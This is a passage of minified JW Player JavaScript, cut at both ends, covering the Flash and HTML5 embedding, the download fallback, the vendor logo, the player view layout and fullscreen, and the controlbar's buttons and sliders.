l={display:{style:{cursor:n,width:j,height:m,backgroundColor:"#000",position:"relative",textDecoration:"none",border:"none",display:"block"}},display_icon:{style:{cursor:n,position:"absolute",display:u?"block":"none",top:0,left:0,border:0,margin:0,padding:0,zIndex:3,width:50,height:50,backgroundImage:"url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAALdJREFUeNrs18ENgjAYhmFouDOCcQJGcARHgE10BDcgTOIosAGwQOuPwaQeuFRi2p/3Sb6EC5L3QCxZBgAAAOCorLW1zMn65TrlkH4NcV7QNcUQt7Gn7KIhxA+qNIR81spOGkL8oFJDyLJRdosqKDDkK+iX5+d7huzwM40xptMQMkjIOeRGo+VkEVvIPfTGIpKASfYIfT9iCHkHrBEzf4gcUQ56aEzuGK/mw0rHpy4AAACAf3kJMACBxjAQNRckhwAAAABJRU5ErkJggg==)"}},display_iconBackground:{style:{cursor:n,position:"absolute",display:u?"block":"none",top:((m-50)/2),left:((j-50)/2),border:0,width:50,height:50,margin:0,padding:0,zIndex:2,backgroundImage:"url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAYAAAAeP4ixAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAEpJREFUeNrszwENADAIA7DhX8ENoBMZ5KR10EryckCJiIiIiIiIiIiIiIiIiIiIiIh8GmkRERERERERERERERERERERERGRHSPAAPlXH1phYpYaAAAAAElFTkSuQmCC)"}},display_image:{style:{width:j,height:m,display:o?"block":"none",position:"absolute",cursor:n,left:0,top:0,margin:0,padding:0,textDecoration:"none",zIndex:1,border:"none"}}};var h=function(v,x,y){var w=document.createElement(v);if(y){w.id=y}else{w.id=c.id+"_jwplayer_"+x}a.utils.css(w,l[x].style);return w};q.display=h("a","display",c.id);if(u){q.display.setAttribute("href",a.utils.getAbsolutePath(u))}q.display_image=h("img","display_image");q.display_image.setAttribute("alt","Click to download...");if(o){q.display_image.setAttribute("src",a.utils.getAbsolutePath(o))}if(true){q.display_icon=h("div","display_icon");q.display_iconBackground=h("div","display_iconBackground");q.display.appendChild(q.display_image);q.display_iconBackground.appendChild(q.display_icon);q.display.appendChild(q.display_iconBackground)}_css=a.utils.css;_hide=function(v){_css(v,{display:"none"})};function r(v){_imageWidth=q.display_image.naturalWidth;_imageHeight=q.display_image.naturalHeight;t()}function t(){a.utils.stretch(a.utils.stretching.UNIFORM,q.display_image,j,m,_imageWidth,_imageHeight)}q.display_image.onerror=function(v){_hide(q.display_image)};q.display_image.onload=r;c.parentNode.replaceChild(q.display,c);var p=(b.plugins&&b.plugins.logo)?b.plugins.logo:{};q.display.appendChild(new a.embed.logo(b.components.logo,"download",c.id));f.container=document.getElementById(f.id);f.setPlayer(q.display,"download")};this.supportsConfig=function(){if(b){var j=a.utils.getFirstPlaylistItemFromConfig(b);if(typeof j.file=="undefined"&&typeof j.levels=="undefined"){return true}else{if(j.file){return e(j.file,j.provider,j.playlistfile)}else{if(j.levels&&j.levels.length){for(var h=0;h<j.levels.length;h++){if(j.levels[h].file&&e(j.levels[h].file,j.provider,j.playlistfile)){return true}}}}}}else{return true}};function e(j,l,h){if(h){return false}var k=["image","sound","youtube","http"];if(l&&(k.toString().indexOf(l)>-1)){return true}if(!l||(l&&l=="video")){var m=a.utils.extension(j);if(m&&a.utils.extensionmap[m]){return true}}return false}}})(jwplayer);(function(a){a.embed.flash=function(f,g,l,e,j){function m(o,n,p){var q=document.createElement("param");q.setAttribute("name",n);q.setAttribute("value",p);o.appendChild(q)}function k(o,p,n){return function(q){if(n){document.getElementById(j.id+"_wrapper").appendChild(p)}var s=document.getElementById(j.id).getPluginConfig("display");o.resize(s.width,s.height);var r={left:s.x,top:s.y};a.utils.css(p,r)}}function d(p){if(!p){return{}}var r={};for(var o in p){var n=p[o];for(var q in n){r[o+"."+q]=n[q]}}return r}function h(q,p){if(q[p]){var s=q[p];for(var o in s){var n=s[o];if(typeof n=="string"){if(!q[o]){q[o]=n}}else{for(var r in n){if(!q[o+"."+r]){q[o+"."+r]=n[r]}}}}delete q[p]}}function b(q){if(!q){return{}}var t={},s=[];for(var n in q){var p=a.utils.getPluginName(n);var o=q[n];s.push(n);for(var r in o){t[p+"."+r]=o[r]}}t.plugins=s.join(",");return t}function c(p){var n=p.netstreambasepath?"":"netstreambasepath="+encodeURIComponent(window.location.href.split("#")[0])+"&";for(var o in p){if(typeof(p[o])=="object"){n+=o+"="+encodeURIComponent("[[JSON]]"+a.utils.strings.jsonToString(p[o]))+"&"}else{n+=o+"="+encodeURIComponent(p[o])+"&"}}return n.substring(0,n.length-1)}this.embed=function(){l.id=j.id;var y;var q=a.utils.extend({},l);var n=q.width;var w=q.height;if(f.id+"_wrapper"==f.parentNode.id){y=document.getElementById(f.id+"_wrapper")}else{y=document.createElement("div");y.id=f.id+"_wrapper";a.utils.wrap(f,y);a.utils.css(y,{position:"relative",width:n,height:w})}var o=e.setupPlugins(j,q,k);if(o.length>0){a.utils.extend(q,b(o.plugins))}else{delete q.plugins}var r=["height","width","modes","events"];for(var u=0;u<r.length;u++){delete q[r[u]]}var p="opaque";if(q.wmode){p=q.wmode}h(q,"components");h(q,"providers");if(typeof q["dock.position"]!="undefined"){if(q["dock.position"].toString().toLowerCase()=="false"){q.dock=q["dock.position"];delete q["dock.position"]}}var x="#000000";var t;if(a.utils.isIE()){var v='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" bgcolor="'+x+'" width="100%" height="100%" id="'+f.id+'" name="'+f.id+'" tabindex=0"">';v+='<param name="movie" value="'+g.src+'">';v+='<param name="allowfullscreen" value="true">';v+='<param name="allowscriptaccess" value="always">';v+='<param name="seamlesstabbing" value="true">';v+='<param name="wmode" value="'+p+'">';v+='<param name="flashvars" value="'+c(q)+'">';v+="</object>";a.utils.setOuterHTML(f,v);t=document.getElementById(f.id)}else{var s=document.createElement("object");s.setAttribute("type","application/x-shockwave-flash");s.setAttribute("data",g.src);s.setAttribute("width","100%");s.setAttribute("height","100%");s.setAttribute("bgcolor","#000000");s.setAttribute("id",f.id);s.setAttribute("name",f.id);s.setAttribute("tabindex",0);m(s,"allowfullscreen","true");m(s,"allowscriptaccess","always");m(s,"seamlesstabbing","true");m(s,"wmode",p);m(s,"flashvars",c(q));f.parentNode.replaceChild(s,f);t=s}j.container=t;j.setPlayer(t,"flash")};this.supportsConfig=function(){if(a.utils.hasFlash()){if(l){var o=a.utils.getFirstPlaylistItemFromConfig(l);if(typeof o.file=="undefined"&&typeof o.levels=="undefined"){return true}else{if(o.file){return flashCanPlay(o.file,o.provider)}else{if(o.levels&&o.levels.length){for(var n=0;n<o.levels.length;n++){if(o.levels[n].file&&flashCanPlay(o.levels[n].file,o.provider)){return true}}}}}}else{return true}}return false};flashCanPlay=function(n,p){var o=["video","http","sound","image"];if(p&&(o.toString().indexOf(p<0))){return true}var q=a.utils.extension(n);if(!q){return true}if(a.utils.exists(a.utils.extensionmap[q])&&!a.utils.exists(a.utils.extensionmap[q].flash)){return false}return true}}})(jwplayer);(function(a){a.embed.html5=function(c,g,b,d,f){function e(j,k,h){return function(l){var m=document.getElementById(c.id+"_displayarea");if(h){m.appendChild(k)}var n=m.style;j.resize(parseInt(n.width.replace("px","")),parseInt(n.height.replace("px","")));k.left=n.left;k.top=n.top}}this.embed=function(){if(a.html5){d.setupPlugins(f,b,e);c.innerHTML="";var j=a.utils.extend({screencolor:"0x000000"},b);var h=["plugins","modes","events"];for(var k=0;k<h.length;k++){delete j[h[k]]}if(j.levels&&!j.sources){j.sources=b.levels}if(j.skin&&j.skin.toLowerCase().indexOf(".zip")>0){j.skin=j.skin.replace(/\.zip/i,".xml")}var l=new (a.html5(c)).setup(j);f.container=document.getElementById(f.id);f.setPlayer(l,"html5")}else{return null}};this.supportsConfig=function(){if(!!a.vid.canPlayType){if(b){var j=a.utils.getFirstPlaylistItemFromConfig(b);if(typeof j.file=="undefined"&&typeof j.levels=="undefined"){return true}else{if(j.file){return html5CanPlay(a.vid,j.file,j.provider,j.playlistfile)}else{if(j.levels&&j.levels.length){for(var h=0;h<j.levels.length;h++){if(j.levels[h].file&&html5CanPlay(a.vid,j.levels[h].file,j.provider,j.playlistfile)){return true}}}}}}else{return true}}return false};html5CanPlay=function(k,j,l,h){if(h){return false}if(l&&l=="youtube"){return true}if(l&&l!="video"&&l!="http"&&l!="sound"){return false}var m=a.utils.extension(j);if(!a.utils.exists(m)||!a.utils.exists(a.utils.extensionmap[m])){return true}if(!a.utils.exists(a.utils.extensionmap[m].html5)){return false}if(a.utils.isLegacyAndroid()&&m.match(/m4v|mp4/)){return true}return browserCanPlay(k,a.utils.extensionmap[m].html5)};browserCanPlay=function(j,h){if(!h){return true}if(j.canPlayType(h)){return true}else{if(h=="audio/mp3"&&navigator.userAgent.match(/safari/i)){return j.canPlayType("audio/mpeg")}else{return false}}}}})(jwplayer);(function(a){a.embed.logo=function(m,l,d){var j={prefix:"http://l.longtailvideo.com/"+l+"/",file:"",link:"",margin:8,out:0.5,over:1,timeout:5,hide:false,position:"bottom-left"};_css=a.utils.css;var b;var h;k();function k(){o();c();f()}function o(){if(j.prefix){var q=a.version.split(/\W/).splice(0,2).join("/");if(j.prefix.indexOf(q)<0){j.prefix+=q+"/"}}h=a.utils.extend({},j,m)}function p(){var s={border:"none",textDecoration:"none",position:"absolute",cursor:"pointer",zIndex:10};s.display=h.hide?"none":"block";var r=h.position.toLowerCase().split("-");for(var q in r){s[r[q]]=h.margin}return s}function c(){b=document.createElement("img");b.id=d+"_jwplayer_logo";b.style.display="none";b.onload=function(q){_css(b,p());e()};if(!h.file){return}if(h.file.indexOf("http://")===0){b.src=h.file}else{b.src=h.prefix+h.file}}if(!h.file){return}function f(){if(h.link){b.onmouseover=g;b.onmouseout=e;b.onclick=n}else{this.mouseEnabled=false}}function n(q){if(typeof q!="undefined"){q.preventDefault();q.stopPropagation()}if(h.link){window.open(h.link,"_blank")}return}function e(q){if(h.link){b.style.opacity=h.out}return}function g(q){if(h.hide){b.style.opacity=h.over}return}return b}})(jwplayer);(function(a){a.html5=function(b){var c=b;this.setup=function(d){a.utils.extend(this,new a.html5.api(c,d));return this};return this}})(jwplayer);(function(b){var d=b.utils;var c=d.css;b.html5.view=function(r,q,f){var u=r;var n=q;var x=f;var w;var g;var C;var s;var D;var p;var A;function z(){w=document.createElement("div");w.id=n.id;w.className=n.className;_videowrapper=document.createElement("div");_videowrapper.id=w.id+"_video_wrapper";n.id=w.id+"_video";c(w,{position:"relative",height:x.height,width:x.width,padding:0,backgroundColor:E(),zIndex:0});function E(){if(u.skin.getComponentSettings("display")&&u.skin.getComponentSettings("display").backgroundcolor){return u.skin.getComponentSettings("display").backgroundcolor}return parseInt("000000",16)}c(n,{width:x.width,height:x.height,top:0,left:0,zIndex:1,margin:"auto",display:"block"});c(_videowrapper,{overflow:"hidden",position:"absolute",top:0,left:0,bottom:0,right:0});d.wrap(n,w);d.wrap(n,_videowrapper);s=document.createElement("div");s.id=w.id+"_displayarea";w.appendChild(s)}function k(){for(var E=0;E<x.plugins.order.length;E++){var F=x.plugins.order[E];if(d.exists(x.plugins.object[F].getDisplayElement)){x.plugins.object[F].height=d.parseDimension(x.plugins.object[F].getDisplayElement().style.height);x.plugins.object[F].width=d.parseDimension(x.plugins.object[F].getDisplayElement().style.width);x.plugins.config[F].currentPosition=x.plugins.config[F].position}}v()}function m(E){c(s,{display:x.getMedia().hasChrome()?"none":"block"})}function v(F){var H=x.getMedia()?x.getMedia().getDisplayElement():null;if(d.exists(H)){if(A!=H){if(A&&A.parentNode){A.parentNode.replaceChild(H,A)}A=H}for(var E=0;E<x.plugins.order.length;E++){var G=x.plugins.order[E];if(d.exists(x.plugins.object[G].getDisplayElement)){x.plugins.config[G].currentPosition=x.plugins.config[G].position}}}j(x.width,x.height)}this.setup=function(){if(x&&x.getMedia()){n=x.getMedia().getDisplayElement()}z();k();u.jwAddEventListener(b.api.events.JWPLAYER_PLAYER_STATE,m);u.jwAddEventListener(b.api.events.JWPLAYER_MEDIA_LOADED,v);u.jwAddEventListener(b.api.events.JWPLAYER_MEDIA_META,function(){y()});var E;if(d.exists(window.onresize)){E=window.onresize}window.onresize=function(F){if(d.exists(E)){try{E(F)}catch(H){}}if(u.jwGetFullscreen()){var G=document.body.getBoundingClientRect();x.width=Math.abs(G.left)+Math.abs(G.right);x.height=window.innerHeight}j(x.width,x.height)}};function h(E){switch(E.keyCode){case 27:if(u.jwGetFullscreen()){u.jwSetFullscreen(false)}break;case 32:if(u.jwGetState()!=b.api.events.state.IDLE&&u.jwGetState()!=b.api.events.state.PAUSED){u.jwPause()}else{u.jwPlay()}break}}function j(H,E){if(w.style.display=="none"){return}var G=[].concat(x.plugins.order);G.reverse();D=G.length+2;if(!x.fullscreen){x.width=H;x.height=E;g=H;C=E;c(s,{top:0,bottom:0,left:0,right:0,width:H,height:E,position:"relative"});c(w,{height:C,width:g});var F=o(t,G);if(F.length>0){D+=F.length;var J=F.indexOf("playlist"),I=F.indexOf("controlbar");if(J>=0&&I>=0){F[J]=F.splice(I,1,F[J])[0]}o(l,F,true)}}else{if(!(navigator&&navigator.vendor&&navigator.vendor.indexOf("Apple")==0)){o(B,G,true)}}y()}function o(J,G,H){var F=[];for(var E=0;E<G.length;E++){var K=G[E];if(d.exists(x.plugins.object[K].getDisplayElement)){if(x.plugins.config[K].currentPosition!=b.html5.view.positions.NONE){var I=J(K,D--);if(!I){F.push(K)}else{x.plugins.object[K].resize(I.width,I.height);if(H){delete I.width;delete I.height}c(x.plugins.object[K].getDisplayElement(),I)}}else{c(x.plugins.object[K].getDisplayElement(),{display:"none"})}}}return F}function t(F,G){if(d.exists(x.plugins.object[F].getDisplayElement)){if(x.plugins.config[F].position&&a(x.plugins.config[F].position)){if(!d.exists(x.plugins.object[F].getDisplayElement().parentNode)){w.appendChild(x.plugins.object[F].getDisplayElement())}var E=e(F);E.zIndex=G;return E}}return false}function l(G,H){if(!d.exists(x.plugins.object[G].getDisplayElement().parentNode)){s.appendChild(x.plugins.object[G].getDisplayElement())}var E=x.width,F=x.height;if(typeof x.width=="string"&&x.width.lastIndexOf("%")>-1){percentage=parseFloat(x.width.substring(0,x.width.lastIndexOf("%")))/100;E=Math.round(window.innerWidth*percentage)}if(typeof x.height=="string"&&x.height.lastIndexOf("%")>-1){percentage=parseFloat(x.height.substring(0,x.height.lastIndexOf("%")))/100;F=Math.round(window.innerHeight*percentage)}return{position:"absolute",width:(E-d.parseDimension(s.style.left)-d.parseDimension(s.style.right)),height:(F-d.parseDimension(s.style.top)-d.parseDimension(s.style.bottom)),zIndex:H}}function B(E,F){return{position:"fixed",width:x.width,height:x.height,zIndex:F}}function y(){if(!d.exists(x.getMedia())){return}s.style.position="absolute";var H=x.getMedia().getDisplayElement();if(H&&H.tagName.toLowerCase()=="video"){H.style.position="absolute";var E,I;if(s.style.width.toString().lastIndexOf("%")>-1||s.style.width.toString().lastIndexOf("%")>-1){var F=s.getBoundingClientRect();E=Math.abs(F.left)+Math.abs(F.right);I=Math.abs(F.top)+Math.abs(F.bottom)}else{E=d.parseDimension(s.style.width);I=d.parseDimension(s.style.height)}if(H.parentNode){H.parentNode.style.left=s.style.left;H.parentNode.style.top=s.style.top}d.stretch(u.jwGetStretching(),H,E,I,H.videoWidth?H.videoWidth:400,H.videoHeight?H.videoHeight:300)}else{var G=x.plugins.object.display.getDisplayElement();if(G){x.getMedia().resize(d.parseDimension(G.style.width),d.parseDimension(G.style.height))}else{x.getMedia().resize(d.parseDimension(s.style.width),d.parseDimension(s.style.height))}}}function e(F){var G={position:"absolute",margin:0,padding:0,top:null};var E=x.plugins.config[F].currentPosition.toLowerCase();switch(E.toUpperCase()){case b.html5.view.positions.TOP:G.top=d.parseDimension(s.style.top);G.left=d.parseDimension(s.style.left);G.width=g-d.parseDimension(s.style.left)-d.parseDimension(s.style.right);G.height=x.plugins.object[F].height;s.style[E]=d.parseDimension(s.style[E])+x.plugins.object[F].height+"px";s.style.height=d.parseDimension(s.style.height)-G.height+"px";break;case b.html5.view.positions.RIGHT:G.top=d.parseDimension(s.style.top);G.right=d.parseDimension(s.style.right);G.width=x.plugins.object[F].width;G.height=C-d.parseDimension(s.style.top)-d.parseDimension(s.style.bottom);s.style[E]=d.parseDimension(s.style[E])+x.plugins.object[F].width+"px";s.style.width=d.parseDimension(s.style.width)-G.width+"px";break;case b.html5.view.positions.BOTTOM:G.bottom=d.parseDimension(s.style.bottom);G.left=d.parseDimension(s.style.left);G.width=g-d.parseDimension(s.style.left)-d.parseDimension(s.style.right);G.height=x.plugins.object[F].height;s.style[E]=d.parseDimension(s.style[E])+x.plugins.object[F].height+"px";s.style.height=d.parseDimension(s.style.height)-G.height+"px";break;case b.html5.view.positions.LEFT:G.top=d.parseDimension(s.style.top);G.left=d.parseDimension(s.style.left);G.width=x.plugins.object[F].width;G.height=C-d.parseDimension(s.style.top)-d.parseDimension(s.style.bottom);s.style[E]=d.parseDimension(s.style[E])+x.plugins.object[F].width+"px";s.style.width=d.parseDimension(s.style.width)-G.width+"px";break;default:break}return G}this.resize=j;this.fullscreen=function(H){if(navigator&&navigator.vendor&&navigator.vendor.indexOf("Apple")===0){if(x.getMedia().getDisplayElement().webkitSupportsFullscreen){if(H){try{x.getMedia().getDisplayElement().webkitEnterFullscreen()}catch(G){}}else{try{x.getMedia().getDisplayElement().webkitExitFullscreen()}catch(G){}}}}else{if(H){document.onkeydown=h;clearInterval(p);var F=document.body.getBoundingClientRect();x.width=Math.abs(F.left)+Math.abs(F.right);x.height=window.innerHeight;var E={position:"fixed",width:"100%",height:"100%",top:0,left:0,zIndex:2147483000};c(w,E);E.zIndex=1;if(x.getMedia()&&x.getMedia().getDisplayElement()){c(x.getMedia().getDisplayElement(),E)}E.zIndex=2;c(s,E)}else{document.onkeydown="";x.width=g;x.height=C;c(w,{position:"relative",height:x.height,width:x.width,zIndex:0})}j(x.width,x.height)}}};function a(e){return([b.html5.view.positions.TOP,b.html5.view.positions.RIGHT,b.html5.view.positions.BOTTOM,b.html5.view.positions.LEFT].toString().indexOf(e.toUpperCase())>-1)}b.html5.view.positions={TOP:"TOP",RIGHT:"RIGHT",BOTTOM:"BOTTOM",LEFT:"LEFT",OVER:"OVER",NONE:"NONE"}})(jwplayer);(function(a){var b={backgroundcolor:"",margin:10,font:"Arial,sans-serif",fontsize:10,fontcolor:parseInt("000000",16),fontstyle:"normal",fontweight:"bold",buttoncolor:parseInt("ffffff",16),position:a.html5.view.positions.BOTTOM,idlehide:false,layout:{left:{position:"left",elements:[{name:"play",type:"button"},{name:"divider",type:"divider"},{name:"prev",type:"button"},{name:"divider",type:"divider"},{name:"next",type:"button"},{name:"divider",type:"divider"},{name:"elapsed",type:"text"}]},center:{position:"center",elements:[{name:"time",type:"slider"}]},right:{position:"right",elements:[{name:"duration",type:"text"},{name:"blank",type:"button"},{name:"divider",type:"divider"},{name:"mute",type:"button"},{name:"volume",type:"slider"},{name:"divider",type:"divider"},{name:"fullscreen",type:"button"}]}}};_utils=a.utils;_css=_utils.css;_hide=function(c){_css(c,{display:"none"})};_show=function(c){_css(c,{display:"block"})};a.html5.controlbar=function(l,V){var k=l;var D=_utils.extend({},b,k.skin.getComponentSettings("controlbar"),V);if(D.position==a.html5.view.positions.NONE||typeof a.html5.view.positions[D.position]=="undefined"){return}if(_utils.mapLength(k.skin.getComponentLayout("controlbar"))>0){D.layout=k.skin.getComponentLayout("controlbar")}var ac;var P;var ab;var E;var v="none";var g;var j;var ad;var f;var e;var y;var Q={};var p=false;var c={};var Y;var h=false;var o;var d;var S=false;var G=false;var W=new a.html5.eventdispatcher();_utils.extend(this,W);function J(){if(!Y){Y=k.skin.getSkinElement("controlbar","background");if(!Y){Y={width:0,height:0,src:null}}}return Y}function N(){ab=0;E=0;P=0;if(!p){var ak={height:J().height,backgroundColor:D.backgroundcolor};ac=document.createElement("div");ac.id=k.id+"_jwplayer_controlbar";_css(ac,ak)}var aj=(k.skin.getSkinElement("controlbar","capLeft"));var ai=(k.skin.getSkinElement("controlbar","capRight"));if(aj){x("capLeft","left",false,ac)}var al={position:"absolute",height:J().height,left:(aj?aj.width:0),zIndex:0};Z("background",ac,al,"img");if(J().src){Q.background.src=J().src}al.zIndex=1;Z("elements",ac,al);if(ai){x("capRight","right",false,ac)}}this.getDisplayElement=function(){return ac};this.resize=function(ak,ai){_utils.cancelAnimation(ac);document.getElementById(k.id).onmousemove=A;e=ak;y=ai;if(G!=k.jwGetFullscreen()){G=k.jwGetFullscreen();d=undefined}var aj=w();A();I({id:k.id,duration:ad,position:j});u({id:k.id,bufferPercent:f});return aj};this.show=function(){if(h){h=false;_show(ac);T()}};this.hide=function(){if(!h){h=true;_hide(ac);aa()}};function q(){var aj=["timeSlider","volumeSlider","timeSliderRail","volumeSliderRail"];for(var ak in aj){var ai=aj[ak];if(typeof Q[ai]!="undefined"){c[ai]=Q[ai].getBoundingClientRect()}}}function A(ai){if(h){return}if(D.position==a.html5.view.positions.OVER||k.jwGetFullscreen()){clearTimeout(o);switch(k.jwGetState()){case a.api.events.state.PAUSED:case a.api.events.state.IDLE:if(!D.idlehide||_utils.exists(ai)){U()}if(D.idlehide){o=setTimeout(function(){z()},2000)}break;default:if(ai){U()}o=setTimeout(function(){z()},2000);break}}}function z(ai){aa();_utils.cancelAnimation(ac);_utils.fadeTo(ac,0,0.1,1,0)}function U(){T();_utils.cancelAnimation(ac);_utils.fadeTo(ac,1,0,1,0)}function H(ai){return function(){if(S&&d!=ai){d=ai;W.sendEvent(ai,{component:"controlbar",boundingRect:O()})}}}var T=H(a.api.events.JWPLAYER_COMPONENT_SHOW);var aa=H(a.api.events.JWPLAYER_COMPONENT_HIDE);function O(){if(D.position==a.html5.view.positions.OVER||k.jwGetFullscreen()){return _utils.getDimensions(ac)}else{return{x:0,y:0,width:0,height:0}}}function Z(am,al,ak,ai){var aj;if(!p){if(!ai){ai="div"}aj=document.createElement(ai);Q[am]=aj;aj.id=ac.id+"_"+am;al.appendChild(aj)}else{aj=document.getElementById(ac.id+"_"+am)}if(_utils.exists(ak)){_css(aj,ak)}return aj}function M(){ah(D.layout.left);ah(D.layout.right,-1);ah(D.layout.center)}function ah(al,ai){var am=al.position=="right"?"right":"left";var ak=_utils.extend([],al.elements);if(_utils.exists(ai)){ak.reverse()}for(var aj=0;aj<ak.length;aj++){C(ak[aj],am)}}function K(){return P++}function C(am,ao){var al,aj,ak,ai,aq;if(am.type=="divider"){x("divider"+K(),ao,true,undefined,undefined,am.width,am.element);return}switch(am.name){case"play":x("playButton",ao,false);x("pauseButton",ao,true);R("playButton","jwPlay");R("pauseButton","jwPause");break;case"prev":x("prevButton",ao,true);R("prevButton","jwPlaylistPrev");break;case"stop":x("stopButton",ao,true);R("stopButton","jwStop");break;case"next":x("nextButton",ao,true);R("nextButton","jwPlaylistNext");break;case"elapsed":x("elapsedText",ao,true);break;case"time":aj=!_utils.exists(k.skin.getSkinElement("controlbar","timeSliderCapLeft"))?0:k.skin.getSkinElement("controlbar","timeSliderCapLeft").width;ak=!_utils.exists(k.skin.getSkinElement("controlbar","timeSliderCapRight"))?0:k.skin.getSkinElement("controlbar","timeSliderCapRight").width;al=ao=="left"?aj:ak;ai=k.skin.getSkinElement("controlbar","timeSliderRail").width+aj+ak;aq={height:J().height,position:"absolute",top:0,width:ai};aq[ao]=ao=="left"?ab:E;var an=Z("timeSlider",Q.elements,aq);x("timeSliderCapLeft",ao,true,an,ao=="left"?0:al);x("timeSliderRail",ao,false,an,al);x("timeSliderBuffer",ao,false,an,al);x("timeSliderProgress",ao,false,an,al);x("timeSliderThumb",ao,false,an,al);x("timeSliderCapRight",ao,true,an,ao=="right"?0:al);X("time");break;case"fullscreen":x("fullscreenButton",ao,false);x("normalscreenButton",ao,true);R("fullscreenButton","jwSetFullscreen",true);R("normalscreenButton","jwSetFullscreen",false);break;case"volume":aj=!_utils.exists(k.skin.getSkinElement("controlbar","volumeSliderCapLeft"))?0:k.skin.getSkinElement("controlbar","volumeSliderCapLeft").width;ak=!_utils.exists(k.skin.getSkinElement("controlbar","volumeSliderCapRight"))?0:k.skin.getSkinElement("controlbar","volumeSliderCapRight").width;al=ao=="left"?aj:ak;ai=k.skin.getSkinElement("controlbar","volumeSliderRail").width+aj+ak;aq={height:J().height,position:"absolute",top:0,width:ai};aq[ao]=ao=="left"?ab:E;var ap=Z("volumeSlider",Q.elements,aq);x("volumeSliderCapLeft",ao,true,ap,ao=="left"?0:al);x("volumeSliderRail",ao,true,ap,al);x("volumeSliderProgress",ao,false,ap,al);x("volumeSliderCapRight",ao,true,ap,ao=="right"?0:al);X("volume");break;case"mute":x("muteButton",ao,false);x("unmuteButton",ao,true);R("muteButton","jwSetMute",true);R("unmuteButton","jwSetMute",false);break;case"duration":x("durationText",ao,true);break}}function x(al,ao,aj,ar,am,ai,ak){if(_utils.exists(k.skin.getSkinElement("controlbar",al))||al.indexOf("Text")>0||al.indexOf("divider")===0){var an={height:J().height,position:"absolute",display:"block",top:0};if((al.indexOf("next")===0||al.indexOf("prev")===0)&&k.jwGetPlaylist().length<2){aj=false;an.display="none"}var at;if(al.indexOf("Text")>0){al.innerhtml="00:00";an.font=D.fontsize+"px/"+(J().height+1)+"px "+D.font;an.color=D.fontcolor;an.textAlign="center";an.fontWeight=D.fontweight;an.fontStyle=D.fontstyle;an.cursor="default";at=14+3*D.fontsize}else{if(al.indexOf("divider")===0){if(ai){if(!isNaN(parseInt(ai))){at=parseInt(ai)}}else{if(ak){var ap=k.skin.getSkinElement("controlbar",ak);if(ap){an.background="url("+ap.src+") repeat-x center left";at=ap.width}}else{an.background="url("+k.skin.getSkinElement("controlbar","divider").src+") repeat-x center left";at=k.skin.getSkinElement("controlbar","divider").width}}}else{an.background="url("+k.skin.getSkinElement("controlbar",al).src+") repeat-x center left";at=k.skin.getSkinElement("controlbar",al).width}}if(ao=="left"){an.left=isNaN(am)?ab:am;if(aj){ab+=at}}else{if(ao=="right"){an.right=isNaN(am)?E:am;if(aj){E+=at}}}if(_utils.typeOf(ar)=="undefined"){ar=Q.elements}an.width=at;if(p){_css(Q[al],an)}else{var aq=Z(al,ar,an);if(_utils.exists(k.skin.getSkinElement("controlbar",al+"Over"))){aq.onmouseover=function(au){aq.style.backgroundImage=["url(",k.skin.getSkinElement("controlbar",al+"Over").src,")"].join("")};aq.onmouseout=function(au){aq.style.backgroundImage=["url(",k.skin.getSkinElement("controlbar",al).src,")"].join("")}}}}}function F(){k.jwAddEventListener(a.api.events.JWPLAYER_PLAYLIST_LOADED,B);k.jwAddEventListener(a.api.events.JWPLAYER_PLAYLIST_ITEM,s);k.jwAddEventListener(a.api.events.JWPLAYER_MEDIA_BUFFER,u);k.jwAddEventListener(a.api.events.JWPLAYER_PLAYER_STATE,r);k.jwAddEventListener(a.api.events.JWPLAYER_MEDIA_TIME,I);k.jwAddEventListener(a.api.events.JWPLAYER_MEDIA_MUTE,ag);k.jwAddEventListener(a.api.events.JWPLAYER_MEDIA_VOLUME,m);k.jwAddEventListener(a.api.events.JWPLAYER_MEDIA_COMPLETE,L)}function B(){N();M();w();ae()}function s(ai){ad=k.jwGetPlaylist()[ai.index].duration;I({id:k.id,duration:ad,position:0});u({id:k.id,bufferProgress:0})}function ae(){I({id:k.id,duration:k.jwGetDuration(),position:0});u({id:k.id,bufferProgress:0});ag({id:k.id,mute:k.jwGetMute()});r({id:k.id,newstate:a.api.events.state.IDLE});m({id:k.id,volume:k.jwGetVolume()})}function R(ak,al,aj){if(p){return}if(_utils.exists(k.skin.getSkinElement("controlbar",ak))){var ai=Q[ak];if(_utils.exists(ai)){_css(ai,{cursor:"pointer"});if(al=="fullscreen"){ai.onmouseup=function(am){am.stopPropagation();k.jwSetFullscreen(!k.jwGetFullscreen())}}else{ai.onmouseup=function(am){am.stopPropagation();if(_utils.exists(aj)){k[al](aj)}else{k[al]()}}}}}}function X(ai){if(p){return}var aj=Q[ai+"Slider"];_css(Q.elements,{cursor:"pointer"});_css(aj,{cursor:"pointer"});aj.onmousedown=function(ak){v=ai};aj.onmouseup=function(ak){ak.stopPropagation();af(ak.pageX)};aj.onmousemove=function(ak){if(v=="time"){g=true;var al=ak.pageX-c[ai+"Slider"].left-window.pageXOffset;_css(Q.timeSliderThumb,{left:al})}}}function af(aj){g=false;var ai;if(v=="time"){ai=aj-c.timeSliderRail.left+window.pageXOffset;var al=ai/c.timeSliderRail.width*ad;if(al<0){al=0}else{if(al>ad){al=ad-3}}if(k.jwGetState()==a.api.events.state.PAUSED||k.jwGetState()==a.api.events.state.IDLE){k.jwPlay()}k.jwSeek(al)}else{if(v=="volume"){ai=aj-c.volumeSliderRail.left-window.pageXOffset;var ak=Math.round(ai/c.volumeSliderRail.width*100);if(ak<0){ak=0}else{if(ak>100){ak=100}}if(k.jwGetMute()){k.jwSetMute(false)}k.jwSetVolume(ak)}}v="none"}function u(aj){if(_utils.exists(aj.bufferPercent)){f=aj.bufferPercent}if(c.timeSliderRail){var ak=c.timeSliderRail.width;var ai=isNaN(Math.round(ak*f/100))?0:Math.round(ak*f/100);_css(Q.timeSliderBuffer,{width:ai})}}function ag(ai){if(ai.mute){_hide(Q.muteButton);_show(Q.unmuteButton);_hide(Q.volumeSliderProgress)}else{_show(Q.muteButton);_hide(Q.unmuteButton);_show(Q.volumeSliderProgress)}}function 